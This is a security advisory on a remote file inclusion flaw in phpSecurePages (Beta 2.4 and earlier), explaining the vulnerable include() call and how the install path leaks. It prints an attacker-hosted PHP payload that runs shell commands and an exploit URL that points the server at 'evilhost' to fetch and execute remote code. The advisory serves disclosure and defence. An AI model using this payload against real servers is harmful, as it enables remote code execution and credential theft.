|
Vulnerability phpSecurePages Affected Versions up to and including Beta 2.4 Description Following is based on a Secure Reality Pty Security Pre-Advisory SRPRE00002 and Security Advisory #9 (SRADV00009). phpSecurePages is a very easy to use tool for password protecting portions of websites on PHP enabled webservers. In versions specified phpSecurePages makes insecure calls to the PHP function include(). Installations of the versions specified are vulnerable to attacks in which the attacker gains the ability to execute arbitrary commands (and code) on the remote web server with the permissions of the web server user, typically 'nobody'. phpSecurePages can be configured to use a Database for authorization information, in this case the remote command execution vulnerability can be used to read the configuration files and disclose the database credentials therein. Note that this description will be best understood in conjunction with paper "A Study In Scarlet - Exploiting Common Vulnerabilities in PHP Applications" which can be seen from http://oliver.efri.hr/~crv/security/bugs/Others/php8.html http://www.securereality.com.au/archives.html phpSecurePages is designed to be an easy to use way to password protect portions of websites. In order to protect a particular web page using phpSecurePages the administrator needs to make that page parseable by php (usually by giving it a specific file extension, often '.php') then put on line of PHP code into that page which looks like the following: <?php include("<path to phpSecurePages>/secure.php"); ?> The include statement is used to cause PHP to read a particular file and interpret its contents at PHP code. The above line reads in the phpSecurePages code and executes it (when the restricted page is accessed), the code in turn performs authentication etc. The problem in the phpSecurePages code is spotted extremely easily with a grep of the source. The following line of code in checklogin.php looks dangerous: 102 include($cfgProgDir . "interface.php"); If an attacker can control the content of $cfgProgDir they can provide a value like "http://my.evil.server.com/" and PHP's remote files functionality will cause the phpSecurePages application to request the interface.php file from my.evil.server.com then execute its content on the remote machine. So first we need to understand the context of this call. The first question to be asked is the purpose of checklogin.php in the application. Taking a look in secure.php (remembering secure.php is the file that is included by other pages to get phpSecurePages authentication): 9 /****** Installation ******/ 10 $cfgProgDir = '/~shaman/phpSecurePages/'; 11 // location of phpSecurePages calculated from the root of the server 12 // Example: if you installed phpSecurePages on http://www.mydomain.com/phpSecurePages/ 13 // the value would be $cfgProgDir = '/phpSecurePages/' 14 $cfgIndexpage = '/index.php'; ... lots of other configuration information (language, image locations etc) ... 125 include($cfgProgDir . "lng/" . $languageFile); 126 include($cfgProgDir . "session.php"); 127 128 129 // choose between login or logout 130 if ($logout && !($HTTP_GET_VARS["logout"] || $HTTP_POST_VARS["logout"])) { 131 // logout 132 include($cfgProgDir . "logout.php"); 133 } else { 134 // loading login check 135 include($cfgProgDir . "checklogin.php"); 136 } 137 ?> Basically secure.php is mostly full of configuration information for the phpSecurePages installation. Once its set up the configuration environment it determines if the request is to logon or logoff (on line 130) and based on that includes either logout.php or checklogin.php. checklogin.php is meant to be included and executed by secure.php when the request is for a logon. This is the PHP library files concept, code is compartmentalized into separate PHP source files which can simply be included when needed. As discussed in 'A Study In Scarlet' the fact that files with non PHP parsed extensions (e.g '.inc') will be returned as source when requested remotely has caused many people to give every file a PHP parsed extension to prevent source disclosure (particularly a problem for configuration scripts containing database credentials etc). The problem with this is that it allows files that are never meant to be executed except in the context of other scripts to be executed by remote attackers in unsafe environments. If checklogin.php is called directly it cannot rely on any of the configuration variables, in particular an attacker may set $cfgProgDir to whatever they wish. A hurdle that must be overcome is knowing the location of the phpSecurePages installation, recall that phpSecurePages can be installed anywhere in the web directories and is simply include()d from other pages. One interesting point is that phpSecurePages shouldn't really need to be installed in a web accessible directory at all, PHP will happily include any file, not just one accessible by the web server. However the application ships with, and needs to know the location of various images it displays during the authentication process. In order to make the installation and configuration easier the application is just unpacked into a web directory and is configured to know its location in the filesystem and the webpath to the directory in which it is installed. This means that the URLs for the images displayed in the logon process give away the location of the phpSecurePages installation, for example: <IMG SRC="http://vulnserver/phpSecurePages/images/cancel.gif" ... The attacker now knows they can request checklogin.php from http://vulnserver/phpSecurePages/checklogin.php. To exploit the vulnerability the attacker simply needs to point the cfgProgDir variable at a web path they can control (a free provider would be fine) and create the file interface.php on that webserver. Its content would be requested and executed by the vulnerable installation of phpSecurePages. For example the attacker might place the following content in interface.php on http://evilhost/: <?php // PHP code to be executed $phpcode = ' echo("Hi there!<BR>"); passthru("id"); '; // If we were called via remote include, send the code to be // executed if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP") echo("<?php $phpcode ?>"); else // Otherwise we're being executed on the target web server already, // so simply evaluate the code eval($phpcode); exit(); ?> (This script is designed so that the server it is placed on can be PHP enabled and not result in the code being executed on the attacking machine) The attacker could then make the following request to have the PHP code above retrieved and executed: http://vulnhost/phpSecurePages/checklogin.php?cfgProgDir=http://evilhost/ As always with PHP there are many caveats to the attacks details in this advisory based on PHP configuration and version. - The remote web server must be able to retrieve the file, i.e no firewalls in the way - The remote web server must not be running PHP under windows since remote file includes are not supported on this platform - The remote web server must not have allow_url_fopen set off Solution Later versions of phpSecurePages correct this problem. Please download a version above 1.0.5 from: http://www.phpsecurepages.f2s.com/